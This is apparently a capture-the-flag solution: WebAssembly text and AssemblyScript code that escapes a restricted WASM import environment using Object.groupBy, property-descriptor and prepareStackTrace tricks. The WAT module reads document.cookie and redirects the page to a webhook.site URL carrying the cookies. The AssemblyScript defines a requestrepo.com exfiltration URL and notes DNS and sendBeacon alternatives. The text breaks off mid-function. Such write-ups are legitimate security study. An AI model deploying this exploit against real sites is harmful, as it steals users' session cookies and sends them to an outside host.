(func $renderPixel (export "renderPixel") (param externref externref externref) (result externref)
(local $fun funcref)
(local $renderPixelF externref)
(local $renderFrame externref)
(local $startRendering externref)
(local $loadWasm externref)
ref.func $renderPixel
call $ObjectF
local.tee $renderPixelF
call $getCaller
local.tee $renderFrame
call $log
call $getCaller
local.tee $startRendering
call $getCaller
local.tee $loadWasm
drop
call $x
)solve wat from badat
(module
(import "constructor" "name" (global $object_name externref))
(import "constructor" "prototype" (global $object_prototype externref))
(import "constructor" "create" (func $object_create (param externref) (result externref)))
(import "constructor" "groupBy" (func $group_by (param externref) (param funcref) (result externref)))
(import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref)))
(import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref) (result externref)))
(import "constructor" "values" (func $object_values (param externref) (result externref)))
(import "constructor" "keys" (func $object_keys (param externref) (result externref)))
(import "constructor" "getPrototypeOf" (func $object_get_prototype_of (param externref) (result externref)))
(import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref)))
(import "constructor" "assign" (func $object_assign (param externref) (param externref)))
(import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref)))
(import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref)))
(import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref)))
(import "__proto__" "constructor" (func $object (param externref) (result externref)))
(import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref)))
;;(import "env" "log" (func $log (param externref)))
(func $log (param externref))
(global $char_to_return (mut i32) (i32.const 0))
(global $externref_to_return (mut externref) (ref.null extern))
(global $idx_to_save (mut i32) (i32.const 0))
(global $saved_element (mut externref) (ref.null extern))
(func $save_nth_element (param $val externref) (param $n i32)
(local.get $n)
(global.get $idx_to_save)
i32.eq
(if
(then
(local.get $val)
(global.set $saved_element)
)
)
)
(func $get_nth_element (param $arr externref) (param $n i32) (result externref)
(global.set $idx_to_save (local.get $n))
(call $group_by (local.get $arr) (ref.func $save_nth_element))
drop
(global.get $saved_element)
)
;; function needs to be exported to pass it as a callback to groupby
(export "save_nth_element" (func $save_nth_element))
;;(import "constructor" "getOwnPropertyDescriptors" (func $get_own_property_descriptors (param externref) (result externref)))
;;(import "constructor" "values" (func $object_values (param externref) (result externref)))
(func $get_property_by_index (param $target externref) (param $idx i32) (result externref)
(local $prop_descs externref)
(local $prop_desc externref)
(local.set $prop_descs
(call $get_own_property_descriptors (local.get $target))
)
(local.set $prop_desc
(call $get_nth_element
(call $object_values (local.get $prop_descs))
(local.get $idx)
)
)
(call $get_nth_element
(call $object_values (local.get $prop_desc))
(i32.const 0)
)
)
;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of (result externref)))
(func $get_string_class (result externref)
(local $string_proto externref)
(local.set $string_proto (call $object_get_prototype_of (global.get $object_name)))
(call $get_property_by_index (local.get $string_proto) (i32.const 1))
)
(func $get_string_from_char_code (result externref)
(call $get_property_by_index (call $get_string_class) (i32.const 3))
)
;; (import "constructor" "keys" (func $object_keys (param externref) (result externref)))
;; We need a second definition of groupBy that we can call with js functions(externrefs)
;; (import "constructor" "groupBy" (func $group_by_extref (param externref) (param externref) (result externref)))
;; (global $char_to_return (mut i32) (i32.const 0))
(func $return_char (result i32)
(global.get $char_to_return)
)
(export "return_char" (func $return_char))
(func $make_single_char_string (param $ch i32) (result externref)
(local $ch_object externref)
(local $ch_array externref)
(local $from_char_code_obj externref)
(local $null_str externref)
(global.set $char_to_return (local.get $ch))
(local.set $ch_object (
call $group_by
(global.get $object_name)
(ref.func $return_char)
)
)
(local.set $ch_array (
call $object_keys
(local.get $ch_object)
)
)
(local.set $from_char_code_obj
(call $group_by_extref
(local.get $ch_array) (call $get_string_from_char_code)
)
)
(local.set $null_str
(call $get_nth_element
(call $object_keys (local.get $from_char_code_obj))
(i32.const 0)
)
)
(call $get_nth_element
(local.get $null_str)
(i32.const 0)
)
)
;; (import "constructor" "prototype" (global $object_prototype externref))
;; (import "constructor" "create" (func $object_create (param externref) (result externref)))
;; (import "constructor" "assign" (func $object_assign (param externref) (param externref)))
;; (import "constructor" "defineProperty" (func $object_define_property (param externref) (param externref) (param externref)))
;; (import "constructor" "setPrototypeOf" (func $object_set_prototype_of (param externref) (param externref)))
;; (import "__proto__" "constructor" (global $object externref))
;; (global $externref_to_return (mut externref) (ref.null))
(func $return_externref (result externref)
(global.get $externref_to_return)
)
(export "return_externref" (func $return_externref))
(func $empty_object (result externref)
(call $object_create (global.get $object_prototype))
)
(func $get__proto__descriptor (result externref)
(call $get_nth_element
(call $object_values
(call $get_own_property_descriptors (global.get $object_prototype))
)
(i32.const 10)
)
)
(func $get_enumerable_string (result externref)
(call $get_nth_element
(call $object_keys (call $get__proto__descriptor))
(i32.const 2)
)
)
(func $build_single_element_array (param $element externref) (result externref)
(local $target externref)
(local $descriptor externref)
(local $enumerable_desc externref)
(local $target_key externref)
(local.set $target (call $empty_object))
(global.set $externref_to_return (call $get_enumerable_string))
(local.set $enumerable_desc
(call $group_by (global.get $object_name) (ref.func $return_externref))
)
(local.set $descriptor (call $get__proto__descriptor))
(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))
(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
(call $object_define_property
(local.get $target)
(local.get $target_key)
(local.get $descriptor)
)
(call $object_set_prototype_of (local.get $target)
(call $object (local.get $element))
)
(call $object_values (local.get $target))
)
;; (import "constructor" "fromEntries" (func $object_from_entries (param externref) (result externref)))
(func $build_kv_object (param $key externref) (param $value externref) (result externref)
(local $kv externref)
(local $descriptor externref)
(local $enumerable_desc externref)
(local $target_key externref)
(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
(global.set $char_to_return (i32.const 0x41))
(local.set $kv (call $group_by
(call $build_single_element_array (local.get $key))
(ref.func $return_char)
))
(local.set $enumerable_desc
(call $group_by (global.get $object_name) (ref.func $return_externref))
)
(local.set $descriptor (call $get__proto__descriptor))
(call $object_assign (local.get $descriptor) (local.get $enumerable_desc))
(local.set $target_key (call $make_single_char_string (i32.const 0x41)))
(call $object_define_property
(local.get $kv)
(local.get $target_key)
(local.get $descriptor)
)
(call $object_set_prototype_of (local.get $kv)
(call $object (local.get $value))
)
(call $object_from_entries
(call $build_single_element_array (call $object_values (local.get $kv)))
)
)
(func $set (param $target externref) (param $key externref) (param $value externref)
(call $object_assign
(local.get $target)
(call $build_kv_object (local.get $key) (local.get $value))
)
)
(func $save_elem (param $elem externref)
(global.set $saved_element (local.get $elem))
)
(export "saveElem" (func $save_elem))
(func $get_last_element (param $arr externref) (result externref)
(call $group_by (local.get $arr) (ref.func $save_elem))
drop
(global.get $saved_element)
)
(func $get_get_string (result externref)
(call $get_nth_element
(call $object_keys (call $get__proto__descriptor))
(i32.const 0)
)
)
(func $get_set_string (result externref)
(call $get_nth_element
(call $object_keys (call $get__proto__descriptor))
(i32.const 1)
)
)
(func $get_configurable_string (result externref)
(call $get_nth_element
(call $object_keys (call $get__proto__descriptor))
(i32.const 3)
)
)
(func $call_with_this (param $this externref) (param $func externref) (result externref)
(local $key externref)
(local $descriptor externref)
(local.set $key (call $make_single_char_string (i32.const 0x41)))
(local.set $descriptor (call $empty_object))
(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))
(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))
(call $set (local.get $descriptor) (call $get_get_string) (local.get $func))
(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))
(call $get_last_element (call $object_values (local.get $this)))
)
(func $call_with_this_and_arg (param $this externref) (param $func externref) (param $arg externref)
(local $key externref)
(local $descriptor externref)
(local.set $key (call $make_single_char_string (i32.const 0x41)))
(local.set $descriptor (call $empty_object))
(call $set (local.get $descriptor) (call $get_enumerable_string) (global.get $object_name))
(call $set (local.get $descriptor) (call $get_configurable_string) (global.get $object_name))
(call $set (local.get $descriptor) (call $get_set_string) (local.get $func))
(call $object_define_property (local.get $this) (local.get $key) (local.get $descriptor))
(call $set (local.get $this) (local.get $key) (local.get $arg))
)
(func $empty_string (result externref)
(call $call_with_this
(call $empty_object)
(call $get_string_from_char_code)
)
)
(func $empty_array (result externref)
(call $object_keys (call $empty_object))
)
;; (import "constructor" "getPrototypeOf" (func $object_get_prototype_of_number (param i32) (result externref)))
(func $get_number_prototype (result externref)
(call $object_get_prototype_of_number (i32.const 0x0))
)
(func $get_array_prototype (result externref)
(call $object_get_prototype_of (call $empty_array))
)
(func $get_array_constructor (result externref)
(call $get_property_by_index (call $get_array_prototype) (i32.const 1))
)
(func $get_array_from (result externref)
(call $get_property_by_index (call $get_array_constructor) (i32.const 4))
)
(func $get_array_prototype_push (result externref)
(call $get_property_by_index (call $get_array_prototype) (i32.const 12))
)
(func $get_array_prototype_join (result externref)
(call $get_property_by_index (call $get_array_prototype) (i32.const 21))
)
(func $get_array_prototype_reduce (result externref)
(call $get_property_by_index (call $get_array_prototype) (i32.const 32))
)
(func $array_push (param $arr externref) (param $val externref)
(call $call_with_this_and_arg (local.get $arr) (call $get_array_prototype_push) (local.get $val))
)
;;(import "__proto__" "constructor" (func $object_funcref (param funcref) (result externref)))
(func $array_join (param $arr externref) (result externref)
(local $join_args externref)
(local $reducer_array externref)
(local.set $join_args (call $empty_array))
(local.set $reducer_array (call $empty_array))
(call $array_push (local.get $join_args) (call $empty_array))
(call $array_push (local.get $reducer_array) (local.get $join_args))
(call $array_push (local.get $reducer_array) (call $get_array_prototype_join))
(call $array_push (local.get $reducer_array) (call $object_funcref (ref.func $save_elem)))
(call $object_set_prototype_of (call $get_number_prototype) (local.get $arr))
(call $call_with_this_and_arg (local.get $reducer_array) (call $get_array_prototype_reduce) (call $get_array_from))
(call $object_set_prototype_of (call $get_number_prototype) (global.get $object_prototype))
(global.get $saved_element)
)
(func $get_prepare_stack_trace_string (result externref)
(local $arr externref)
(local.set $arr (call $empty_array))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x53)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x63)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6b)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x54)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x72)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x63)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
(call $array_join (local.get $arr))
)
(func $trigger_error
(call $object_set_prototype_of (global.get $object_name) (global.get $object_name))
)
(func $get_webhook_url (result externref)
(local $arr externref)
(local.set $arr (call $empty_array))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x70)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x73)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x3a)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x77)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x62)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x68)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6f)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6f)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x6b)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2e)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x73)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x69)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x74)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2f)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x36)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x32)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x31)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x37)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x33)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x2d)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x30)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x33)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x65)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x66)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x32)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x64)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x61)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x35)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x39)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x34)))
(call $array_push (local.get $arr) (call $make_single_char_string (i32.const 0x3f)))
(call $array_join (local.get $arr))
)
(func $stack_trace_handler (param externref) (param $callsites externref)
(local $callsite externref)
(local $callsite_proto externref)
(local $get_this externref)
(local $window externref)
(local $document_getter externref)
(local $document externref)
(local $html_document_proto externref)
(local $document_proto externref)
(local $document_props externref)
(local $cookie_desc externref)
(local $cookie_getter externref)
(local $cookies externref)
(local $redirect_array externref)
(local $redirect_string externref)
(local $location_string externref)
(local.set $callsite (call $get_nth_element (local.get $callsites) (i32.const 0)))
(local.set $callsite_proto (call $object_get_prototype_of (local.get $callsite)))
(local.set $get_this (call $get_property_by_index (local.get $callsite_proto) (i32.const 14)))
(local.set $window (call $call_with_this (local.get $callsite) (local.get $get_this)))
;;(local $document_getter externref)
;;(local $document externref)
;;(local $html_document_proto externref)
;;(local $document_proto externref)
;;
;;(local $document_props externref)
;;(local $cookie_desc externref)
;;(local $cookie_getter externref)
;;
;;(local $cookies externref)
(local.set $document_getter (call $get_property_by_index (local.get $window) (i32.const 672)))
(local.set $document (call $call_with_this (local.get $window) (local.get $document_getter)))
(local.set $html_document_proto (call $object_get_prototype_of (local.get $document)))
(local.set $document_proto (call $object_get_prototype_of (local.get $html_document_proto)))
(local.set $document_props (call $get_own_property_descriptors (local.get $document_proto)))
(local.set $cookie_desc (call $get_nth_element (call $object_values (local.get $document_props)) (i32.const 15)))
(local.set $cookie_getter (call $get_nth_element (call $object_values (local.get $cookie_desc)) (i32.const 0)))
(local.set $cookies (call $call_with_this (local.get $document) (local.get $cookie_getter)))
;;(local $redirect_array externref)
;;(local $redirect_string externref)
;;(local $location_string externref)
(local.set $redirect_array (call $empty_array))
(call $array_push (local.get $redirect_array) (call $get_webhook_url))
(call $array_push (local.get $redirect_array) (local.get $cookies))
(local.set $redirect_string (call $array_join (local.get $redirect_array)))
(local.set $location_string (call $get_nth_element (call $object_keys (local.get $document)) (i32.const 0)))
(call $set (local.get $document) (local.get $location_string) (local.get $redirect_string))
)
(export "stackTraceHandler" (func $stack_trace_handler))
(func $main
(call $set
(global.get $object_prototype)
(call $get_prepare_stack_trace_string)
(call $object_funcref (ref.func $stack_trace_handler))
)
)
(start $main)
;;(func $renderPixel (result i32)
;; i32.const 11141375)
;;(export "renderPixel" (func $renderPixel))
)solve from author
/*
Some notes:
Challenge heavily inspired by https://x.com/thomasrinsma/status/1952353781162689007 & https://youtu.be/-MS4BV0-ry4
Just transcribing the solution in the video will not work due to the CSP, but its definitely worth getting some inspiration from it!
Also writing the exploit in wat is tedious and annoying, so there's assemblyscript for that (We're even given an editor (hint hint)).
The main part of the solution centers around a couple things:
- Creating an actual arbitrary string (The talk only shows creation of strings where the second character is a 0, because of groupby passing in a 0 as the second argument). In their example this works fine due to how eval works (i.e eval("00;alert(1)") works fine)
- Figuring a way to get a reference to the window object using prepareStackTrace, normally only called when the devtools are open, but it also works by default in puppeteer.
The prepareStackTrace is a function that is called on the creation of errors in v8, giving full callsites.
Also this prepareStackTrace trick does not work in the _start section because WebAssembly.instantiate in JS is a promise so we don't get back the full window callsite in the error callsite, so we will use the renderPixel for this.
- Calling zero argument (arbitrary) functions.
- Optionally: this solution also converts the cookie to WASM first (calling base64, because encodeURIComponent is completely broken for longer strings for whatever reason).
- Optionally: the flag could be leaked with DNS exfiltration through window.open (For whatever reason it does not load the full page, only does a dns request), given the length of the flag, it would have to be leaked through multiple requests.
- Optionally: Call navigator.sendBeacon binding sendBeacon to navigator (Object.groupBy(["..."], navigator.sendBeacon) will not work)
- Also note that groupBy(["..."], fetch) will not work due to the second arguement to fetch being an integer which is not accepted
*/
@external("__proto__", "toString")
declare function proto_toString0(): externref;
@external("constructor", "getPrototypeOf")
declare function Object_getPrototypeOf1(a: externref): externref;
@external("constructor", "getOwnPropertyDescriptors")
declare function Object_getOwnPropertyDescriptors1(a: externref): externref;
@external("constructor", "getOwnPropertyDescriptor")
declare function Object_getOwnPropertyDescriptor2(a: externref, b: externref): externref;
@external("constructor", "values")
declare function Object_values1(a: externref): externref;
@external("constructor", "keys")
declare function Object_keys1(a: externref): externref;
@external("constructor", "groupBy")
declare function Object_groupBy2_extern(a: externref, b: externref): externref;
@external("constructor", "groupBy")
declare function Object_groupBy2_func(a: externref, b: funcref): externref;
@external("constructor", "assign")
declare function Object_assign1(a: externref): externref;
@external("constructor", "assign")
declare function Object_assign1_int(a: externref): i32;
@external("constructor", "assign")
declare function Object_assign2(a: externref, b: externref): externref;
@external("constructor", "assign")
declare function Object_assign1_funcref(a: funcref): externref;
@external("constructor", "defineProperty")
declare function Object_defineProperty3_int(a: externref, b: i32, c: externref): externref;
@external("constructor", "defineProperty")
declare function Object_defineProperty3(a: externref, b: externref, c: externref): externref;
@external("constructor", "getOwnPropertySymbols")
declare function Object_getOwnPropertySymbols1(a: externref): externref;
@external("constructor", "create")
declare function Object_create1(a: externref): externref;
@external("constructor", "getOwnPropertyNames")
declare function Object_getOwnPropertyNames1(a: externref): externref;
@external("constructor", "constructor")
declare function Object_constructor1(a: externref): externref;
const EXFILL_URL = "https://l2jxfjii.requestrepo.com/flag=";
/* required stub for assembly script */
export function abort_stub(message: usize, fileName: usize, line: u32, column: u32): void {
unreachable();
}
/* Util functions */
var TARGET_INDEX: i32 = 0;
var TARGET_OBJECT: externref;
export function index_stub(val: externref, index: i32): externref {
if (index == TARGET_INDEX) {
TARGET_OBJECT = val;
}
return null;
}
export function index(arr: externref, index: i32): externref {
TARGET_INDEX = index;
Object_groupBy2_func(arr, index_stub);
return TARGET_OBJECT;
}
var string_prototype: externref;
var object_prototype: externref;
var string_class: externref;
var sample_String: externref;
var toString_String: externref;
var valueOf_String: externref;
var value_String: externref;
var get_String: externref;
var set_String: externref;
var raw_String: externref;
var String_fromCharCode: externref;
var String_charCodeAt_Descriptor: externref; // A prototype function
var String_raw: externref;
var String_raw_Descriptor: externref;
var toPrimtive_Symbol: externref
var valueOf_Descriptor: externref
export function getDescriptorValue(descriptor: externref): externref {
return index(Object_values1(descriptor), 0);
}
export function setupConstants(): void {
/* Nothing special, just grabbing a ton of indexes to get some reuables */
sample_String = proto_toString0();
string_prototype = Object_getPrototypeOf1(sample_String);
object_prototype = Object_getPrototypeOf1(string_prototype);
var string_Descriptors = Object_getOwnPropertyDescriptors1(
string_prototype
);
/* String constructor is at index 1 */
string_class = getDescriptorValue(index(
Object_values1(
string_Descriptors
), 1));
String_charCodeAt_Descriptor = index(Object_values1(string_Descriptors), 8);
var string_class_Descriptors = Object_getOwnPropertyDescriptors1(string_class);
String_fromCharCode = getDescriptorValue(index(Object_values1(string_class_Descriptors), 3));
String_raw_Descriptor = index(Object_values1(string_class_Descriptors), 5);
String_raw = getDescriptorValue(String_raw_Descriptor);
raw_String = index(Object_keys1(string_class_Descriptors), 5);
toString_String = index(Object_keys1(string_Descriptors), 40);
value_String = index(Object_keys1(index(Object_values1(string_class_Descriptors), 0)), 0);
let objectProtoDescriptors = Object_getOwnPropertyDescriptors1(object_prototype);
valueOf_String = index(Object_keys1(objectProtoDescriptors), 9);
valueOf_Descriptor = index(Object_values1(objectProtoDescriptors), 9);
var objectProtoDescriptor = index(Object_values1(objectProtoDescriptors), 10);
get_String = index(Object_keys1(objectProtoDescriptor), 0);
set_String = index(Object_keys1(objectProtoDescriptor), 1);
var iteratorSymbol = index(Object_getOwnPropertySymbols1(string_prototype), 0);
toPrimtive_Symbol = index(Object_getOwnPropertySymbols1(Object_getPrototypeOf1(iteratorSymbol)), 1);
}
var stringCounter: i32 = 0;
export function createString_counter(): i32 {
return stringCounter++;
}
var RETURN_CONSTANT1: externref;
export function return_constant1(): externref {
return RETURN_CONSTANT1;
}
var RETURN_CONSTANT2: externref;
export function return_constant2(): externref {
return RETURN_CONSTANT2;
}
var RETURN_STRING: string = "";
export function get_char(charString: externref, idx: externref): externref {
RETURN_CONSTANT1 = charString;
let getFn = getDescriptorValue(Object_getOwnPropertyDescriptors1(String_charCodeAt_Descriptor))
let selfGetter = Object_create1(null);
Object_defineProperty3(selfGetter, get_String, valueOf_Descriptor);
let funcRef = Object_assign1_funcref(return_constant1);
Object_defineProperty3(funcRef, value_String, selfGetter);
let acc = Object_create1(null);
Object_defineProperty3(acc, get_String, getFn);
let desc = Object_create1(null);
Object_defineProperty3(desc, toString_String, funcRef);
Object_defineProperty3(desc, value_String, acc);
let resultArr = Object_values1(sample_String);
Object_defineProperty3_int(resultArr, 0, desc);
let resInt = index(resultArr, 0);
/*
Now when this is called it does the following
res[0] = desc;
let resInt = res[0];
res[0] ← DefineProperty with Desc = ToPropertyDescriptor(desc)
│
└── Get(desc, "value") // because "value" is present on desc
│
└── desc.value is an ACCESSOR → call its getter
getter = acc.get = String.prototype.charCodeAt
this = desc
args = [] (so index = 0)
│
└── inside charCodeAt:
S = ToString(this)
= ToString(desc)
│
└── Get(desc, "toString") → funcref
Call(funcref, desc) → RETURN_CONSTANT1
return RETURN_CONSTANT1.charCodeAt(0) → int
*/
RETURN_STRING += String.fromCharCode(Object_assign1_int(resInt));
return resInt;
}
/* Real functions */
export function createString(str: string): externref {
stringCounter = 0;
let finalStringObject = Object_create1(null);
/* Used for the define property, its details dont matter */
let sampleValue = index(Object_values1(Object_getOwnPropertyDescriptors1(sample_String)), 0);
for (let i = 0; i < str.length; i++) {
/* Alternative way to get a character compared to the phrack72
* implementation */
let char = str.charCodeAt(i);
let tmp = Object_create1(null);
Object_defineProperty3_int(tmp, char, sampleValue);
let tmpCharCodeArray = Object_groupBy2_extern(Object_keys1(tmp), String_fromCharCode);
let tmpChar = index(index(Object_keys1(tmpCharCodeArray), 0), 0);
let tmpCharObject = Object_groupBy2_func(tmpChar, createString_counter);
Object_assign2(finalStringObject, tmpCharObject);
/*
tmp = {}
DefineProperty(tmp, String(char), sampleValue) // data prop
tmpCharCodeArray = groupBy(Object.keys(tmp), fromCharCode)
└─ keys(tmp) → [String(char)]
└─ call fromCharCode("123") → "a"
→ { "a": ["123"] }
tmpChar = keys(tmpCharCodeArray)[0][0] → "a"
tmpCharObject = groupBy("a", createString_counter)
└─ iterate "a": ['a'], callback returns "0" (first time)
→ { "0": ["a"] }
assign(finalStringObject, tmpCharObject)
→ finalStringObject accumulates { "0": ["a"], "1": ["b"], ... }
*/
}
let rawStringArray = Object_values1(finalStringObject);
/*
Now for the trickery, the problem is that phrack72 uses groupBy("", String.raw)
This will call String.raw({}, 0), meaning it will place a 0 in between characters
We can't use this, therefore we can use some tricks, there are more ways to call
functions with a parameter (see the navigator.sendBeacon example), but in this case
we use a symbol primitive.
*/
RETURN_CONSTANT1 = value_String;
// We get an object {value: [['a'], ['b'], ...]}
let rawStringObject = Object_groupBy2_func(rawStringArray, return_constant1);
/* For reusablability reasons, we need an object with {configurable: true}, because
* we're setting the prototype using defineProperty, which configurable defaults to
* false */
let dummyValueObject = index(Object_values1(Object_getOwnPropertyDescriptors1(object_prototype)), 4);
// Merge them together and overwrite the value
Object_assign2(dummyValueObject, rawStringObject);
// Set object.prototype.raw to {value: [['a'], ['b'], ...]}
Object_defineProperty3(object_prototype, raw_String, dummyValueObject);
/*
DefineProperty(Object.prototype, "raw", dummyValueObject)
└─ ToPropertyDescriptor(dummyValueObject)
└─ Get(dummyValueObject,"value") → [ ["H"], ["e"], ... ] // data read
→ DataDescriptor { [[Value]] = segments, configurable:true, ... }
→ Object.prototype.raw is now a data prop whose value is our segments array
*/
// The rest is to just create an object with [targetObj] where we have a ref to targetObj
let tmp = Object_create1(null);
Object_defineProperty3_int(tmp, 1337, sampleValue);
let targetObjs = Object_values1(Object_getOwnPropertyDescriptors1(tmp));
let targetObj = index(targetObjs, 0);
Object_assign2(targetObj, String_raw);
Object_defineProperty3(targetObj, toPrimtive_Symbol, String_raw_Descriptor);
/*
ToPrimitive(targetObj, "string")
└─ Has @@toPrimitive → Call(String.raw, this=targetObj, args=["string"])
(the "hint" argument is ignored by String.raw; it expects a "template object")
└─ String.raw(targetObj, ...)
• looks up targetObj.raw → found on Object.prototype.raw
• reads our segments array [ ["H"], ["e"], ... ]
• stitches a string (no substitutions provided) → "Hello..."
*/
// Calls toPrimtive which is String.raw
let rawObject = Object_groupBy2_extern(targetObjs, string_class);
return index(Object_keys1(rawObject), 0);
/*
groupBy(targetObjs, String)
└─ for each x in targetObjs:
k = String(x)
if x === targetObj:
String(x)
└─ ToPrimitive(x, "string")
└─ Call(x[@@toPrimitive], x, ["string"])
└─ Call(String.raw, this=x, args=["string"])
├─ Get(x,"raw") → (falls back to Object.prototype.raw)
│ → segments [ ["H"], ["e"], ... ]
└─ build "Hello..."
raw[k].push(x)
→ rawObject has a single key: the constructed string
Object.keys(rawObject)[0] // ← the final string
*/
}
export function callProperty(obj: externref, key: externref): externref {
let getterDesc = Object_create1(null);
Object_defineProperty3(getterDesc, get_String, valueOf_Descriptor);
Object_defineProperty3(key, value_String, getterDesc);
let acc = Object_create1(null);
Object_defineProperty3(acc, get_String, key);
Object_defineProperty3(obj, value_String, acc);
let resultArray = Object_values1(sample_String);
Object_defineProperty3_int(resultArray, 0, obj);
return index(resultArray, 0);
/*
DefineProperty(resultArray,"0", obj)
└─ ToPropertyDescriptor(obj)
└─ Get(obj,"value") // accessor
└─ [[Get]] = key // from step 4
└─ Call(key, this=obj, args=[])
└─ (returns R)
→ DataDescriptor { value: R }
→ resultArray[0] := R
*/
}
export function getProperty(obj: externref, keyDesc: externref, isValue: boolean): externref {
let gDesc = Object_getOwnPropertyDescriptor2(keyDesc, get_String);
if (!isValue) {
// We need an object with configurable: true that also has getters and setters
let acc = Object_getOwnPropertyDescriptor2(windowObject, createString("event"));
Object_defineProperty3(acc, get_String, gDesc);
Object_defineProperty3(obj, value_String, acc);
let resultArr = Object_values1(sample_String);
Object_defineProperty3_int(resultArr, 0, obj);
return index(resultArr, 0);
/*
DefineProperty(resultArr,"0", obj)
└─ ToPropertyDescriptor(obj)
└─ Get(obj,"value") // accessor
└─ [[Get]] = F // from acc.get
└─ Call(F, this=obj, args=[])
└─ returns R
→ DataDescriptor { value: R }
→ resultArr[0] = R
→ index(resultArr,0) === R
*/
} else {
// its a value type
let vDesc = Object_getOwnPropertyDescriptor2(keyDesc, value_String);
let resultArr = Object_values1(sample_String);
Object_defineProperty3_int(resultArr, 0, vDesc);
